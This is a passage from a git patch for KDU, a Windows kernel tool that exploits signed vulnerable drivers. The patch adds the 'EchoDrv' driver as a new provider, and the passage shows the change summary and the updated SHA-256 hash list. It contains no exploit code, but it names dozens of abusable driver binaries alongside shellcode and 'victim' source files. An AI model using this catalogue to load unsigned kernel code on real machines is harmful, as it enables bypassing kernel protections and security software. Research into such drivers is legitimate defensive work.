From 0d880b4a82169f17c2aa57dc2a92d6d64780370d Mon Sep 17 00:00:00 2001 From: hfiref0x Date: Wed, 19 Jul 2023 10:26:57 +0700 Subject: [PATCH] v 1.3.3 Added Inspect Element LTD "EchoDrv" driver as provider 39 Readme update --- KDU.sha256 | 136 +++--- README.md | 2 + Source/Hamakaze/KDU.vcxproj | 2 + Source/Hamakaze/KDU.vcxproj.filters | 6 + Source/Hamakaze/KDU.vcxproj.user | 2 +- Source/Hamakaze/diag.cpp | 12 +- Source/Hamakaze/idrv/echodrv.cpp | 192 ++++++++ Source/Hamakaze/idrv/echodrv.h | 86 ++++ Source/Hamakaze/kduplist.h | 29 +- Source/Hamakaze/res/SB_SMBUS_SDK.bin | Bin 50244 -> 50244 bytes Source/Hamakaze/res/Taigei32.bin | Bin 2905 -> 2905 bytes Source/Hamakaze/resource.rc | 8 +- Source/Hamakaze/sup.cpp | 31 +- Source/Hamakaze/sup.h | 8 +- Source/Hamakaze/tests.cpp | 8 +- Source/Hamakaze/wdksup.h | 8 +- Source/Shared/consts.h | 12 +- Source/Shared/ntos/ntos.h | 444 +++++++++++++++---- Source/Shared/ntos/ntsup.c | 26 +- Source/Shared/ntos/ntsup.h | 6 +- Source/Tanikaze/Tanikaze.vcxproj | 1 + Source/Tanikaze/Tanikaze.vcxproj.filters | 3 + Source/Tanikaze/data/AsusCertService.bin | Bin 159488 -> 159488 bytes Source/Tanikaze/data/KMUEXE.bin | Bin 91965 -> 91965 bytes Source/Tanikaze/data/KMUSIG.bin | Bin 170 -> 170 bytes Source/Tanikaze/data/dbutilcat.bin | Bin 5973 -> 5973 bytes Source/Tanikaze/data/dbutilinf.bin | Bin 961 -> 961 bytes Source/Tanikaze/drv/ALSysIO64.bin | Bin 22889 -> 22889 bytes Source/Tanikaze/drv/AMDRyzenMasterDriver.bin | Bin 26170 -> 26170 bytes Source/Tanikaze/drv/ATSZIO64.bin | Bin 10480 -> 10480 bytes Source/Tanikaze/drv/AsIO3.bin | Bin 23237 -> 23237 bytes Source/Tanikaze/drv/AsrDrv106.bin | Bin 28195 -> 28195 bytes Source/Tanikaze/drv/DbUtil2_3.bin | Bin 7938 -> 7938 bytes Source/Tanikaze/drv/DirectIo64.bin | Bin 22129 -> 22129 bytes Source/Tanikaze/drv/DirectIo64_2.bin | Bin 24128 -> 24128 bytes Source/Tanikaze/drv/EneIo64.bin | Bin 9168 -> 9168 bytes Source/Tanikaze/drv/EneTechIo64.bin | Bin 10975 -> 10975 bytes Source/Tanikaze/drv/GLCKIO2.bin | Bin 10566 -> 10566 bytes Source/Tanikaze/drv/HW64.bin | Bin 17993 -> 17993 bytes Source/Tanikaze/drv/KExplore.bin | Bin 8339 -> 8339 bytes Source/Tanikaze/drv/KObjExp.bin | Bin 8339 -> 8339 bytes Source/Tanikaze/drv/KRegExp.bin | Bin 12926 -> 12926 bytes Source/Tanikaze/drv/LDD.bin | Bin 21856 -> 21856 bytes Source/Tanikaze/drv/MsIo64.bin | Bin 14068 -> 14068 bytes Source/Tanikaze/drv/Phymemx64.bin | Bin 13875 -> 13875 bytes Source/Tanikaze/drv/RTCore64.bin | Bin 7605 -> 7605 bytes Source/Tanikaze/drv/SysDrv3S.bin | Bin 14691 -> 14691 bytes Source/Tanikaze/drv/WinRing0x64.bin | Bin 7989 -> 7989 bytes Source/Tanikaze/drv/amsdk.bin | Bin 93689 -> 93689 bytes Source/Tanikaze/drv/asio2.bin | Bin 19306 -> 19306 bytes Source/Tanikaze/drv/dbk64.bin | Bin 51941 -> 51941 bytes Source/Tanikaze/drv/dbutildrv2.bin | Bin 13068 -> 13068 bytes Source/Tanikaze/drv/echo_driver.bin | Bin 0 -> 12299 bytes Source/Tanikaze/drv/ene2.bin | Bin 11550 -> 11550 bytes Source/Tanikaze/drv/etdsupp.bin | Bin 17877 -> 17877 bytes Source/Tanikaze/drv/gdrv.bin | Bin 12988 -> 12988 bytes Source/Tanikaze/drv/gmerdrv.bin | Bin 28189 -> 28189 bytes Source/Tanikaze/drv/heavenluo.bin | Bin 10082 -> 10082 bytes Source/Tanikaze/drv/iQVM64.bin | Bin 16988 -> 16988 bytes Source/Tanikaze/drv/inpoutx64.bin | Bin 7526 -> 7526 bytes Source/Tanikaze/drv/kprocesshacker.bin | Bin 19038 -> 19038 bytes Source/Tanikaze/drv/lha.bin | Bin 12338 -> 12338 bytes Source/Tanikaze/drv/mimidrv.bin | Bin 15718 -> 15718 bytes Source/Tanikaze/drv/pcdsrvc_x64.bin | Bin 13490 -> 13490 bytes Source/Tanikaze/drv/physmem.bin | Bin 13649 -> 13649 bytes Source/Tanikaze/drv/procexp1627.bin | Bin 18571 -> 18571 bytes Source/Tanikaze/drv/procexp1702.bin | Bin 19573 -> 19573 bytes Source/Tanikaze/drv/rtkio64.bin | Bin 25003 -> 25003 bytes Source/Tanikaze/resource.h | 3 +- Source/Tanikaze/resource.rc | 10 +- Source/Tanikaze/tanikaze.h | 19 +- 71 files changed, 814 insertions(+), 240 deletions(-) create mode 100644 Source/Hamakaze/idrv/echodrv.cpp create mode 100644 Source/Hamakaze/idrv/echodrv.h create mode 100644 Source/Tanikaze/drv/echo_driver.bin diff --git a/KDU.sha256 b/KDU.sha256 index 68ee5bb..ffd7f29 100644 --- a/KDU.sha256 +++ b/KDU.sha256 @@ -24,7 +24,7 @@ d45cf40c855a135898e4b35d0b5b2d00e3ad251a97d3f47990248116f22ff45e *Source\Example 10b9fe09b9357cb3c35a00a8b09ae24141ec5941a37c461c2a296d822aa2b512 *Source\Examples\DummyDrv2\dummy\r3request.c 82345231a904bfd01e64bb644a4132db93c34e2db7befc179ad4330176f63b85 *Source\Hamakaze\compress.cpp 09fa3cdaa1416b81ba5ee304cf24897726902b9d33a76d879f604b7fe26b4dcc *Source\Hamakaze\compress.h -e8957d58c5e550a5e0f007883a564277c5a5cbc6b83af4b82bcbb30638997e63 *Source\Hamakaze\diag.cpp +9da5d1ccaae7f77cbde2e2e38e87bc77f09885d028e8d2f6122bbe7a97b220d8 *Source\Hamakaze\diag.cpp a4fa97b9f2be414bc49881450d5935d2b48c1029d3bee655cd6e77e645327d74 *Source\Hamakaze\diag.h 44ee49d7450a1fd8dd809889b4e6f3faa969c63343132514646ceb0b04c26642 *Source\Hamakaze\drvmap.cpp c62c75c00882d816856f56005eec67a82cf56179d2a4629c4c8bf53707c16c25 *Source\Hamakaze\drvmap.h @@ -33,10 +33,10 @@ bde58787437d8243d531f2ab1b33eda6bdf4afffdad08b63f85b16a3b65bd5fd *Source\Hamakaz 67605bff584d9fbe3cd34905f5efeb165626cb426668fedbb3e85b587cbdffa2 *Source\Hamakaze\global.h ea0d8d42a5e7d7fb908c52351f99c69f2019c105d07a1f536756691ab2a74174 *Source\Hamakaze\ipcsvc.cpp 888a436b666b00592d29e8a2e82a9b5c7f0c1d4890aaab8cb2f623181ad07092 *Source\Hamakaze\ipcsvc.h -32566d09a9183a32a3615f987eee2153f9d61b7ea7a95c752a0af0bdd669f1d3 *Source\Hamakaze\KDU.vcxproj -2138d7f641038817debf4484c5b74d42ec4f90955d619d64425f8a42ab2bec77 *Source\Hamakaze\KDU.vcxproj.filters -650f85bfda6b1653e2f0486182ca54ac6bd67517b8a52f886a54dffc8984ef8f *Source\Hamakaze\KDU.vcxproj.user -d68453cf31b5faa408efd39f971f251d4f3460cefa868c8164bb635e25af4f75 *Source\Hamakaze\kduplist.h +135eac610b9c6bcc3250a7582b7de249f5021b3735c32483a36d033051ae630b *Source\Hamakaze\KDU.vcxproj +b7a8bb275c6eb15bf458e02c3475951135a277625d85ca05327bb20ce0171739 *Source\Hamakaze\KDU.vcxproj.filters +fa203186e021c8a60c704ada486956bec7fc3bf3c288f4dde233f3b329c8a765 *Source\Hamakaze\KDU.vcxproj.user +33ebd89284f2cbf7d36be664ef7d7bb3da677437dd3eaadca9212812cb3a6940 *Source\Hamakaze\kduplist.h 0d45b44d55d3986f8dfca4528c54597cfbc7b120166d9f3d526a22b530ff4480 *Source\Hamakaze\kduprov.cpp 13a842b3bc62995ab8071ae56df74065d6a1388fcda66884012c6d8addb94055 *Source\Hamakaze\kduprov.h ef4d5f53395fd0350d9cc7a3a150e23da2b2e27e49bb8acde7c9f30dd9910eb1 *Source\Hamakaze\main.cpp @@ -45,20 +45,21 @@ e1a8de39e2d3d0bae5d9bbe1b18e849f5d070feb1d37f838176ede5a401f35ec *Source\Hamakaz eaeb06030f296d1147869dc65254a990425033b64e654f5d0e1c1408eebc2d93 *Source\Hamakaze\ps.cpp eb15810b52b16482f3a3a679fbeed102257bfa0416243e74fce5b634daf9b074 *Source\Hamakaze\ps.h 6ab34cc400e37c37605e0b04b076f9464172c6e1ae749b19f7d0c73f2d7177e3 *Source\Hamakaze\resource.h -b99493307cf038c5e4794a46a4c612f32278ba81be738f84945339535dbc91b5 *Source\Hamakaze\resource.rc +767c570f7f51e767dbd1d2bd20f78b1bf4e5f5d2fdec62eb3491bc83b3c17034 *Source\Hamakaze\resource.rc a6f3ec0bc0beb0ef152a2a33ca5cbd27bf538316ddf90545b31cd5a78114d6ec *Source\Hamakaze\shellcode.cpp 87c7274c6e821eb447ec87b63b0a058c59f0e64f0c109cfc1d529fb8e2f25150 *Source\Hamakaze\shellcode.h 5428b9eb02810dbc4bfd715ec657ee35a5e61e53079c65f05e1eea4f8a6fa4a0 *Source\Hamakaze\shellmasm.asm +1603ea48b3f1fb078066b0fd7bd2e41b6b40b3b97402c1ec1519328812e24686 *Source\Hamakaze\shellstager.lst 879eea1c38c0c408e3634d0ed2eeae2b8b21e1040b4b0988ea4d802de0ecd21e *Source\Hamakaze\sig.h -7a0858c6079814599a1cd01cb7e8b868cbc09f0cd67c52fa28ffbb344314a487 *Source\Hamakaze\sup.cpp -c9b10b4f9e02bd601c474e7045aabb130c6cbe684d350a1303f42d1d367ac7f5 *Source\Hamakaze\sup.h +eaf61eac1600e8d19820b41726445e3d266310558466c82f5e95cdc5306bb067 *Source\Hamakaze\sup.cpp +857116bea957a53b957d806319b9bbde2d21855e5f621082fa9b9add2bcbb7ff *Source\Hamakaze\sup.h d19e67019fc5666a80a153991ec3d2ac3a7e8dbe088dd9ff93d3e0d0ced91cde *Source\Hamakaze\sym.cpp 292efaabf3f6223761aef1fc418ec98108fb529c7260d9d4a72715378c6b7547 *Source\Hamakaze\sym.h -b3928fe0dac109a549e47d7a9a375293060268f07a1785a8c607205925fb4f5f *Source\Hamakaze\tests.cpp +c04b7259548b8338d0b89d10b50b15fc6b3f7e4ddc64fe70b7b523c04f0ce82f *Source\Hamakaze\tests.cpp ad77ae168188a9748713ab5f7532447ca50a539fa8ebbec5ac86b273696b028e *Source\Hamakaze\tests.h 42c3ee977471fb2966d2abd804d1b69e6aeb6c5c86a02f9c75cf182b42af73c4 *Source\Hamakaze\victim.cpp 5b82accd00d244d77f107a7b8ff0253548a463e642976c36f76e85649e60fe8e *Source\Hamakaze\victim.h -5ae659dfb08d8942e05719f25f0207e31be58942a11997a124ae3d2e8dc08ecb *Source\Hamakaze\wdksup.h +8e1aef4ae8919ef806bed30feb59ec532bff0b6dfd8237457a17022868bd40ec *Source\Hamakaze\wdksup.h 31860c95db21761086e2979753e981d6435f27435dead3ed7e4687e99bb878d4 *Source\Hamakaze\hde\hde64.c fd5b39e2865e12b9525ebda8fd9e9658b341ead5932d1bcb412a189f81ca42ca *Source\Hamakaze\hde\hde64.h 9d37519623d404987300d3f3258148ba9adddfe1bed5f89a0e9e47646819c9c7 *Source\Hamakaze\hde\pstdint.h @@ -75,6 +76,8 @@ bfee96a81ea2f722f426f878032b51d8793bf3d747505f8cd5e4ab5b49bccbbc *Source\Hamakaz 1d864cc688e8a2c38da6b94019f7efba771a0e0b7f68e1c3f8700b8caa76dda0 *Source\Hamakaze\idrv\dell.h 791a4d40f3f5076d0e6ed47e7db972f448ccc78ca578c35f11db637962c868a5 *Source\Hamakaze\idrv\directio64.cpp 73a97fa34df9c0733981536f2079d1eab89bfaf36b4c5d0003cb87d504764ec3 *Source\Hamakaze\idrv\directio64.h +4eedec4502f7a58abcea69a8fd9be2a885c3ae013c7ddfe8b25e474ed12f36c3 *Source\Hamakaze\idrv\echodrv.cpp +55756544736a87ddff4c82c18bb2efc49fab1d9d7e341b86a20f1fc23191652b *Source\Hamakaze\idrv\echodrv.h e8d7c1c93512be4dd846d6c401c8135ae291354db99c926942176017db56bc91 *Source\Hamakaze\idrv\gmer.cpp 89d1cfb34afec23dbda6f40030a95386e9bbbc395666e2c0a3d066dc2fa8b0b8 *Source\Hamakaze\idrv\gmer.h 865bba446ad9f202f2bea58aec4cf48fa87448105dee2fb69caab37ec54f66e8 *Source\Hamakaze\idrv\hilscher.cpp @@ -115,10 +118,10 @@ da1ea3c2ceebfdc6e5c338461dc214798870a0d6aa16f7f23c045123fa450f71 *Source\Hamakaz 103e3c46a148e415a80057caf102c837702983a67d6086482030becf3e429a72 *Source\Hamakaze\idrv\zodiacon.cpp 72be567129bf43464443801c169ebff5ea6fc276cdd6b0170044ffef974dffe1 *Source\Hamakaze\idrv\zodiacon.h de7bdf0bd4acec31c963b916331399bce23c155e3002f0a8152a4a36af13faf8 *Source\Hamakaze\res\274.ico -91614e852fd6ba37e8bc26183abe3a767627de222bf97e82f038ce90a1c40f8e *Source\Hamakaze\res\SB_SMBUS_SDK.bin -d8556d04891d9ae63ed5e82199092b6270b5dc5c47288d27cafd2b51a51bc729 *Source\Hamakaze\res\Taigei32.bin +3b6d80c0cb2995fa87971bd2d6977a31f412b2ff1561509ce9da9714e235c83a *Source\Hamakaze\res\SB_SMBUS_SDK.bin +5b9a2a1b4fda022a73a5830627954a5d3875caee9b6ef4923f62436e2e39a845 *Source\Hamakaze\res\Taigei32.bin 1232f65b57bc8732ead29a730308f6c67bc53a2f9fafd47f8c7cc4b4f676a9e9 *Source\Hamakaze\utils\GenAsIo2Unlock.exe -d79f132ea6c7e9557da34c66ab4f33c6acade8382f7e8203e32c783345e22e80 *Source\Shared\consts.h +bf177b33eee674b3bf9a2c7fa71f5785115d04d51fa4c8fb51f0c653abdfb1f5 *Source\Shared\consts.h 1cbb3b9ac4c7a6f557ddad181348002d3dfa260be724378487c7efb321162ef8 *Source\Shared\kdubase.h 2ee707d0b1f83f7bfe85b0f2ed4b3046757db2e44db266fd80373877dd08562d *Source\Shared\ldr\ldr.cpp 37003367e625e218bf7e4c22850ac7d2efe926a6a832d29bc20a9f8b19a479af *Source\Shared\ldr\ldr.h @@ -144,9 +147,9 @@ ef1b18997ea473ac8d516ef60efc64b9175418b8f078e088d783fdaef2544969 *Source\Shared\ 8acab5c8b8b339bdaf8e7b7d06f2cd6b10d24f889ef92462e4e53abbc5dc5341 *Source\Shared\ntos\halamd64.h ffac2569a1dd61c400cda45839c7314bdd99cfcb5c17d503807db34c168628d2 *Source\Shared\ntos\ntalpc.h 1424fde08d6994062fc8a795ff8d80d30060c4991103c4af59228dcf60171eca *Source\Shared\ntos\ntbuilds.h -a0da4ef8f8a189d6f6350bade02342941d9f02cd948c2e35f77671e0d43a9b60 *Source\Shared\ntos\ntos.h -d971e037b629849d999303778df77e465ef526a7e90eaea04f5983928a425ebe *Source\Shared\ntos\ntsup.c -3242e68e746b316c1e9ab78a954b4936a7adce3a3da4c29b4afcb68763543e75 *Source\Shared\ntos\ntsup.h +6f54d252d4d3deb5c8176ed3b064100e495fb03cc3a64d309bb752620d8a4400 *Source\Shared\ntos\ntos.h +01452073d60208d99379d56ffd62c995edb19a105a959e2b42c03e5ce7fe7dd5 *Source\Shared\ntos\ntsup.c +bd04b7beda7bf2f13bc7fcd2df205e35c41fbad96413efd1b33eda7d1ca5afc9 *Source\Shared\ntos\ntsup.h 261011d0ee9c2d2ee22dad2cdb45d66449b22b5a831fd60293f315c72968dd32 *Source\Shared\tinyaes\aes.c a68264a684f0c19caf7f2464544d9e8163362cd919f382d08b82cbef0497a6f7 *Source\Shared\tinyaes\aes.h 541e81804b992865dcb3c7f1092b646a5c7d7dde93b83a7be489d4f452aac1bd *Source\Taigei\asio.cpp @@ -161,57 +164,58 @@ b4c64ccefe575eda8a61b3b4cad52fcd8c2b345c7b9baf1c0c2ad9946bfc0168 *Source\Taigei\ c06a75b13f855a94d46616796e024c52b499f8f92cf00ccb571ddbc6ff574676 *Source\Taigei\Taigei.vcxproj.user 9e82ce97464b666dad14ffde32e5450a0974d1194ca68cd10e9b2611599dfc28 *Source\Tanikaze\export.def 5bbbcc6c275008ffdd765a3fa53ed3e4ae16ea51bf6ae66c2271f6f065ba0525 *Source\Tanikaze\main.cpp -eced6f6c4a607820b9e023bbb11be8b3511d5a0da6919be67679aeae83e69b0c *Source\Tanikaze\resource.h -6f1bfe79355e866863977bb2c8bd98b19ba50a5e3aa1d9a81a63a3f5febe19fd *Source\Tanikaze\resource.rc -b92186ed89413d004353b24ebe0e7abb012e823708463878bb40ca1133946171 *Source\Tanikaze\tanikaze.h -3c4fe6d30c91cb7eb9b919f8fafc91678d02acf5c45edff5fb30566906be4a24 *Source\Tanikaze\Tanikaze.vcxproj -51947ebb359027a63a2a0c7a29a14faee9f4e9037982477f964afb10376fa078 *Source\Tanikaze\Tanikaze.vcxproj.filters +de4c025cae61a8233d99b0cc98fb40fdf9e32cb3a0890a7b38d1727eb40919dd *Source\Tanikaze\resource.h +1ee3e60679e67d8d5f01a2a348d884ab0f224dc4feda2633aef9327a35503941 *Source\Tanikaze\resource.rc +f4a2b7ca469d7d31145605583d6d92bcafd640db4941f4f96704ddf3aede39b2 *Source\Tanikaze\tanikaze.h +0b4e81bc9e1c1493c3d0cceb4ad9fe91ef7af287d0f8bd449ac71736f8e21770 *Source\Tanikaze\Tanikaze.vcxproj +e70262e5800cfb19ac329cc566774f35315cc1f2e1b64329fa4089e785c382ee *Source\Tanikaze\Tanikaze.vcxproj.filters c06a75b13f855a94d46616796e024c52b499f8f92cf00ccb571ddbc6ff574676 *Source\Tanikaze\Tanikaze.vcxproj.user -67034ee07c357dc82c9946389d60735f2bc1b3a0e13b4f5c739ba5178a76c27c *Source\Tanikaze\data\AsusCertService.bin -47136911450d1da1851ff264503e0247bb1c9c1c2457ccb33ac3d458fe159aae *Source\Tanikaze\data\dbutilcat.bin -3a5f6f40824548130c6c7c7b1969315d01fc58934acb41aa0b5b8664c4b4f66e *Source\Tanikaze\data\dbutilinf.bin -7e82a859d6c8868db34d624b96cceab9f083beb9492efcddf23f64c47923ba71 *Source\Tanikaze\data\KMUEXE.bin -a442fb71ed8b762b678656ae1b65b29f72c85e3ec4769082a946f7b72e1406d0 *Source\Tanikaze\data\KMUSIG.bin -4050c510f1e4a23dc4e6fa2ba3ad24db2ec0ececd1059e99703601f8633c40f7 *Source\Tanikaze\drv\ALSysIO64.bin -5da885ddffd338f4b4b73ba985a5fc29100d944b927663e9a7c890a176483090 *Source\Tanikaze\drv\AMDRyzenMasterDriver.bin -d135b1a1591dd4ed98cd30e8eb9ece782c0288a7aca3970d9c1ae73658ff4af9 *Source\Tanikaze\drv\amsdk.bin -6da78e5ba96e7f99947bddec66901f673e6f1b2a097b2faa614135fada5a8f45 *Source\Tanikaze\drv\asio2.bin -9e1a3369b34f5ea17af2ab6dcfa202143a0a66876e842c7b8933315187bb5bea *Source\Tanikaze\drv\AsIO3.bin -6bdeaa758f1d0d1190ea44c947295b13cfcdda0c1b246872603f84edf32d1511 *Source\Tanikaze\drv\AsrDrv106.bin -62da1832d11c607c5fc084be801fdfa2ba018fa25b6aa4347ea947d7a72b932c *Source\Tanikaze\drv\ATSZIO64.bin -6b71600dec1e692346f072e97a36bfa609f2cdfd19884ec3a77776a13cec335a *Source\Tanikaze\drv\dbk64.bin -d06a92ed4e46748195a44fc256efd333d50a2cb03274ae5c928eb5d7165cbaf6 *Source\Tanikaze\drv\DbUtil2_3.bin -9de5ac6cd3b656c788356f25c9d273d90bcd28cc51beb077383d17c4066913be *Source\Tanikaze\drv\dbutildrv2.bin -b3c03c58b831ec19e36905ae663f2399a8c3a73f8d44dbf0a8bdbf85bf6cb5d9 *Source\Tanikaze\drv\DirectIo64.bin -c88b12ea45f176b2ea0380adb803fbd7fd6366f740e056f1c337bb7284f21f20 *Source\Tanikaze\drv\DirectIo64_2.bin -854d85abccb257451c6fecf545851729ccf917dab26ba0111445a166e73481ad *Source\Tanikaze\drv\ene2.bin -67995474c3d769ebe6ecc45e3e771f95a3b038276e4cf121079e94dfdf7319a4 *Source\Tanikaze\drv\EneIo64.bin -516da7aedd204918046e19e59de2dcf7368a7a5c652153581d14125f4e16de1e *Source\Tanikaze\drv\EneTechIo64.bin -2e94a7a81428e14b7a41b406ce2d1a447335f7e197cefbbe1ecefdafd42ab9a5 *Source\Tanikaze\drv\etdsupp.bin -4535e9f79f940c6e5dfe0cdf64814462fbb8c7bdd0e9374a67e55979281d77df *Source\Tanikaze\drv\gdrv.bin -d73c2f99841217ff59c00c385a59237ce359ba74e427f180d1a50ec3f9695308 *Source\Tanikaze\drv\GLCKIO2.bin -d10329323a4ad49d6cb604345c60ef134b84d9f313350646584baf7d9cbf15ba *Source\Tanikaze\drv\gmerdrv.bin -8462d57c08a2c056c2eb510c233a0480dfb0ce3745614ef2f82ab2c8819e5a36 *Source\Tanikaze\drv\heavenluo.bin -c0c2f175df1e67457f475a5e544e3e520815cc23a2847eaffbc3260b1503caea *Source\Tanikaze\drv\HW64.bin -a69febeed32057ea0588b13f8d80a4d1d6c20356bd10575f7db4ee3b447ae6d2 *Source\Tanikaze\drv\inpoutx64.bin -cf4c4790b582dbc819c9f4ab32e42b67b4606c5d1e31392a70ae31fae0f0d4e6 *Source\Tanikaze\drv\iQVM64.bin -fabed16b24a313943443ee4738d8ac263745160b9bf361a5e08006b764eded61 *Source\Tanikaze\drv\KExplore.bin -001b2a9ddf541a945a7c1d6c8d2c23bc928ff06fd1ee4da7edc3df6986c771a0 *Source\Tanikaze\drv\KObjExp.bin -46b04352250ebb95874ef18ec64fa31ea373ce90635680d299f8edb19cdfe845 *Source\Tanikaze\drv\kprocesshacker.bin -4cf689502b2e47509f2d8eb4a33a9e271d88e26564a8b18fc3fefee7b7145966 *Source\Tanikaze\drv\KRegExp.bin -559b56db6f3ba36116d3c6b1b2818775a488d0e8e0ed516753c56473c6102653 *Source\Tanikaze\drv\LDD.bin -515a4bb03eddb2fb593e3504ec3f12c74639dc15b5fac3359e3bae3922751e4f *Source\Tanikaze\drv\lha.bin -e604c513e4ba37129c89e971037ea2ef934531d41cc41c70f03159c5ee1474e0 *Source\Tanikaze\drv\mimidrv.bin -9b63dca03a09f9d0c800e5d148178abc3f19eb949c78a6a61656132926d394aa *Source\Tanikaze\drv\MsIo64.bin -e3b4040b72239735baf44cedc265ef2c3086d6cf700e36e3dcb6bc6363bf6667 *Source\Tanikaze\drv\pcdsrvc_x64.bin -eaadbb1c692bc0fc7c49bc05596f764d3edafb0098eb13056d6cb19f4a0f3bff *Source\Tanikaze\drv\Phymemx64.bin -c3467992e4e57d664a77b5a91b6ba408260350e4ee95604b00ca0abec2050112 *Source\Tanikaze\drv\physmem.bin -82136994a4ebc411719dcf8b03827c50077a0f72507a52c370b4d36f830d2cd9 *Source\Tanikaze\drv\procexp1627.bin -3174769519d1ef32c92a1eb3f34efa68c21fe4f083e316c34507dbab22e23576 *Source\Tanikaze\drv\procexp1702.bin -46e639fb328967b05e5056cfa9da5ca4a8095b8a7628e2185c8f498624b9ac6d *Source\Tanikaze\drv\RTCore64.bin -dd6498ed873d32ac715c8de6aef5001f8acf454685a7b1c05dac4462bf17892b *Source\Tanikaze\drv\rtkio64.bin -cd24bdba7ebe4b9c65e54c03e9f1a56fdaf6151b0e5fc4937d6a74a3c7f22fb7 *Source\Tanikaze\drv\SysDrv3S.bin -83867dc3e4f5d063556eba30e398fa745b8c987c3baa6b4bea073bdba62b3dc1 *Source\Tanikaze\drv\WinRing0x64.bin +8a7f6fd335aa323219662adae60ea840f79c6e6d6729b78a3c7a013c75e29386 *Source\Tanikaze\data\AsusCertService.bin +a243f30e136ec6d7604337ccc9593c720117a2dd900d303dd45000a7b8ffc28c *Source\Tanikaze\data\dbutilcat.bin +48823ad796cb6124e0206392770663bd767bcafb670fcec9e7453b15efa274f8 *Source\Tanikaze\data\dbutilinf.bin +be32d0caa6c5787cab3befa75605fec2b4ad0cd2f11cef541ff8472286b13528 *Source\Tanikaze\data\KMUEXE.bin +9edc36cbbce234b940cc55964389d13679d19d978f641099035c369a5c0b7e47 *Source\Tanikaze\data\KMUSIG.bin +84693e989595740c571d0558dd05d9e8c75cf6deaea4125c2f1ca126e09e7fff *Source\Tanikaze\drv\ALSysIO64.bin +4779a3a5b5cb72bfb64209e36ffe49527d65a051e18a610b8ae4517092c75c19 *Source\Tanikaze\drv\AMDRyzenMasterDriver.bin +905c8ef4a183a6ad7d7b0cbcd4d89c3daecc4fc9afe179b47905b0cfe727b145 *Source\Tanikaze\drv\amsdk.bin +36b4209818629e0b03f7d753acd16dd3f003bf6c4b9b8ea36b8d78cc6f2b9f0d *Source\Tanikaze\drv\asio2.bin +3272183dcc93873b4f7d5a6bef65b6c6286130e14f717fa7d4e4cd16862fb671 *Source\Tanikaze\drv\AsIO3.bin +84d7be67ff71c48670b1fc3c326ae867254c2df4c9887add0f7a6805d12e8574 *Source\Tanikaze\drv\AsrDrv106.bin +9742fcd676b28b35e9da9318d14e92a22237f9a68b71b84e136a07c65f865450 *Source\Tanikaze\drv\ATSZIO64.bin +e2aadcc91980deee6be43a66c7bce2d51cdc16290904edaa7f618f57074667fd *Source\Tanikaze\drv\dbk64.bin +e946a33e9528d0d03aee48b866a306f1b49568602e33c83675facf13a8dc6eba *Source\Tanikaze\drv\DbUtil2_3.bin +1524bce086b27573f518db6aea172c5bb1ff75e2ca7e4db7df83c1958dad2e56 *Source\Tanikaze\drv\dbutildrv2.bin +c2872a80930c2a1ea1b7554e6fa373db42c96573fcdfbd3a02638a62c951c9ff *Source\Tanikaze\drv\DirectIo64.bin +4b7cf3fe2bb2d7209a7eb69faa3e5666e42fc2ca4c8911e8e04fab06cd872170 *Source\Tanikaze\drv\DirectIo64_2.bin +af466c66f929c0bc9bd8cd05cc15a2c623fc5d61546dfcb1e3136887409f3fc2 *Source\Tanikaze\drv\echo_driver.bin +16e326f15c466c75a405c397ab37cde52c54341871d0b54d58e0d07442508857 *Source\Tanikaze\drv\ene2.bin +292845e884fb5919b552b9e553710018809e73355371d62bcb343f33b8c0c83d *Source\Tanikaze\drv\EneIo64.bin +972e6b5b86186354fa17c57400a58b9b8a3781570a604d36fe7f065740c139bb *Source\Tanikaze\drv\EneTechIo64.bin +1bc9bb5ef92076f8b38f07e1bcf210525707e50c92fe018e21b4039cd3d7168c *Source\Tanikaze\drv\etdsupp.bin +889f00d4152d58af3047e337542681bd9b254e2214edee43269aacf6dd3d9643 *Source\Tanikaze\drv\gdrv.bin +1073a1ec036d1d36812bdb9af5157e484c8401cf71900dbdc09a8686957c25a5 *Source\Tanikaze\drv\GLCKIO2.bin +3f02d0acb86cf90d8301d7a9da8f71baf51852d8b9aab09dcca87982393d97d6 *Source\Tanikaze\drv\gmerdrv.bin +1803242bd8a2084e8ce003fc9376e6605ef5141f3a2225081a1af2f328931d9f *Source\Tanikaze\drv\heavenluo.bin +74d69aebb1501410e1c1d247f10892a54bed7acb94c9ce0242cb5cc50596d10f *Source\Tanikaze\drv\HW64.bin +2f46dd6155355cba5d61cc1cb5d8823e56a221edc46bb99d225ae8fc7e8bb19a *Source\Tanikaze\drv\inpoutx64.bin +bb15d26ae54fce4ea62b2d012bf28c3183be9d5758c086202a7bb9b9ea7ae8a9 *Source\Tanikaze\drv\iQVM64.bin +44fed5b2449bb93fd1dfbfa89fd985f1c16694091df631c68240fdf9990aaaf2 *Source\Tanikaze\drv\KExplore.bin +331761b7ea8af614b5d27f0e61c075f5cfdd9948d967e9fb8408c2dfe6413ced *Source\Tanikaze\drv\KObjExp.bin +d7cc966e0356c4cccf21f3b65096e4c2f2a31d7e0b356f112d15cebcc84ad8ce *Source\Tanikaze\drv\kprocesshacker.bin +7b077b8e8f867289815aa0590d455b0c8da72384e8340b5bf90ca18fbe566e42 *Source\Tanikaze\drv\KRegExp.bin +cc8c72b5f80045a5bd11b921095dd89c58d411a28ec8496813d115c09b01d8b4 *Source\Tanikaze\drv\LDD.bin +d6617af4b83bba4610258a6cc6976a867a74cff01980942dcc199d1983fc6729 *Source\Tanikaze\drv\lha.bin +d49f72a8e4e25c3b13b7ef4afb319807f5ac73ab9760a950db19f68622d2108e *Source\Tanikaze\drv\mimidrv.bin +d1ed748580d124269afe8fb3814753dcf354bb2cf7050a421fc4932b2d1ab8c7 *Source\Tanikaze\drv\MsIo64.bin +510a426a390fdea43128d1f1d25c822562b310aa59624f89f60e8fada0678e4c *Source\Tanikaze\drv\pcdsrvc_x64.bin +995560be3a37a7979b9582ebd833d6cf016a256421519a328c0069a76a7ae762 *Source\Tanikaze\drv\Phymemx64.bin +8b29097ff0c0d9bffede5f3571a39c6f8b90394acfefb42f9665e96da3fde3b2 *Source\Tanikaze\drv\physmem.bin +0d7752c8093188333d0496f6c1d60f46f2407a6d546c5737c76699394f1e5de5 *Source\Tanikaze\drv\procexp1627.bin +e827525e93708201d88600bb13ed4b9444c4eb18afff383c7e484be0eacad170 *Source\Tanikaze\drv\procexp1702.bin +e48381b231038b398ab42ac69b147f5b51f68a76bff8aa2b0ace6b5d66ee50fc *Source\Tanikaze\drv\RTCore64.bin +218c86461863c166f12d9c08e40dc7ed847488fc0127db4dbfd1e589b8c5ab8f *Source\Tanikaze\drv\rtkio64.bin +5c1ccdfe2b401d5162b114590c689f06e739ec2c0a35a8ed9599b5eeea3d5314 